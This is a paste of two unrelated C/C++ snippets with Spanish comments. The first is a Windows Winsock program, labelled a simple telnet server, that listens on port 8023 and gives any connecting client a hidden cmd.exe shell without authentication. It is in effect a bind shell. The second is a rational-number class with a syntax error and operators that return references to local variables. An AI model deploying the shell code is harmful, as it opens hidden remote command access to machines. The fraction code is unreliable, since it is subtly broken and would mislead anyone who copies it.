/**********************************************************
* I take no responsibility for what you or others might do
* with this knowledge.
***********************************************************/
#pragma comment(lib,"ws2_32.lib") 
#include <Winsock2.h>


int main( int argc, char ** argv )
{
    WSADATA WSAData;
    SOCKADDR_IN sin;
    SOCKET sock;
    WSAStartup( MAKEWORD( 2, 0 ), &WSAData );


    sock = WSASocket( AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0 );
    sin.sin_family = AF_INET;
    sin.sin_addr.s_addr = htonl( INADDR_ANY );
    sin.sin_port = htons( ( u_short )8023 );


    bind( sock, ( SOCKADDR * )&sin, sizeof( SOCKADDR_IN ) );
    listen( sock, SOMAXCONN );


    while( true )
   {
        SOCKET tmp = accept( sock, 0, 0 );
        STARTUPINFO si = { 0 }; //declara la estructura "si" del tipo startupinfo, que será pasada a la funcion createprocess.
        PROCESS_INFORMATION pi = { 0 }; //declara la estructura "pi" del tipo process_information que será pasada a la funcion createprocess
        char buff[ 2010 ]; //declara el buffer donde getenviroment variable va a guardar la ruta del cmd.


        si.cb = sizeof( si ); // no se
        si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; // no se
        si.wShowWindow = SW_HIDE; // le dice que no muestre la ventana.
        si.hStdOutput = ( HANDLE )tmp; // redirige la salida a tmp, lo castea como handle, tmp es el socket creado con wsasocket, (no con socket, ojo)
        si.hStdError = ( HANDLE )tmp; // redirige la salida de errores al socket
        si.hStdInput = ( HANDLE )tmp; //le indica que el inputo vendrá del socket.


        GetEnvironmentVariable( "COMSPEC", buff, 2000 ); //COMSPEC es la variable de entorno que trae la ruta del cmd.


        CreateProcess( buff, 0, 0, 0, true, CREATE_NEW_CONSOLE, 0, 0, &si, &pi );
        // en buff le dice que abra el cmd, el true es para que herede, no se que, pero es para eso, CREATE_NEW_CONSOLE es la indicacion que hay que 
        //enviarles, al final le pasa los dos punteros a la estructura, el puntero &si para que sepa como iniciar, y el &pi para que guarde la data
        // del proceso (como inició, etc)


        CloseHandle( pi.hProcess ); //cierra los dos handle, lo tengo que ver bien, y cierra el socket.
        CloseHandle( pi.hThread );
        closesocket( tmp );
    }
    return( 0 );
}

http://www.kpym.com/blog/2005/12/src-simple-telnet-server-in-20-lines-c.html

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <iostream.h>
#include <math.h>

class Racional
{
    private:
        int num;
        int den;
    public:
        Racional (void):num(1),den(1){}
        Racional (int a, int b) {this->set_racional(a,b);}
        Racional (Racional& r){this->set_racional(r.num,r.den);}
        ~Racional () {};
        
        Racional& operator = ( Racional& r)
        {
            this->set_racional(r.num,r.den);
            return *this;
        }
        
        friend ostream& operator << (ostream& sal, Racional& r)
        {
            sal<<r.num<<"/"<<r.den<<" ";
            return sal;
        }
        
        float get_real()
        {
            return (float)num/(float)den;
        }
        
        void set_racional (int n, int d)
        {int i,;
            for ( i=12; i>0; i--)
            if (n%i==0 && d%i==0) {n=n/i;d=d/i;}
            if (d<0 && n<0) { d=d*(-1);n=n*(-1);};
            this->num=n;
            this->den=d;
        }
             
        /*
        Racional& operator + ( Racional& r)
        {
            int deno,nume;
            Racional aux;
            deno=this->den*r.den;
            nume= (   (deno/this->den) * this->num +  (deno/r.den)* r.num );
            aux.set_racional (nume,deno);
            return aux;
        }*/
        
        friend Racional& operator + (Racional& r, Racional& t)
        {
            int deno,nume;
            Racional aux;
            deno=t.den*r.den;
            nume= (   (deno/t.den) * t.num +  (deno/r.den)* r.num );
            aux.set_racional (nume,deno);
            return aux;
        }
            
            
            
        
        Racional& operator++ ()
        {
            int deno,nume;
            deno=this->den;
            nume=this->num+deno;
            this->set_racional (nume,deno);
            return *this;
        }
               
        int operator!= ( Racional& r)
        {
            return ( this->den!=r.den || this->num!=r.num);
        }
        
        Racional& operator - ( Racional& r)
        {
            int deno,nume;
            Racional aux;
            deno=this->den*r.den;
            nume= (   (deno/this->den) * this->num -  (deno/r.den)* r.num );
            aux.set_racional (nume,deno);
            return aux;
         }
         Racional& operator * ( Racional& r)
         {
                Racional aux;
                int deno,nume;
                deno= this->den * r.den;
                nume= this->num * r.num;
                aux.set_racional (nume,deno);              
                return aux;
        }
        
        Racional& operator + (int a)
        {
            Racional aux;
            int deno,nume;
            deno=this->den;
            nume=this->num + (a * deno);
            aux.set_racional (nume,deno);
            return aux;  
        }
friend       Racional& operator + (int a,Racional& r)
        {
            Racional aux;
            int deno,nume;
            deno=r.den;
            nume=r.num + (a * deno);
            aux.set_racional (nume,deno);
            return aux;  
        }
};

int main() 
{ 
   Racional r1(1,1), r2(3,11), r3, r4 ,r5, r6;// r7(r1 + r2);
   r3 = r1 * r2;
   r4 = r3 + 5;
   r5 = 8 + r1;
   r1= r2 - r3;
   r6 = (r3 + r5);
   r4 = r3 + r5;
   
   cout << r1 << r2 << r3 << r4 << r5 <<endl;
   if (r5 != r6)
      cout << "Son distintos" << endl;
   getchar();
   return 0;
}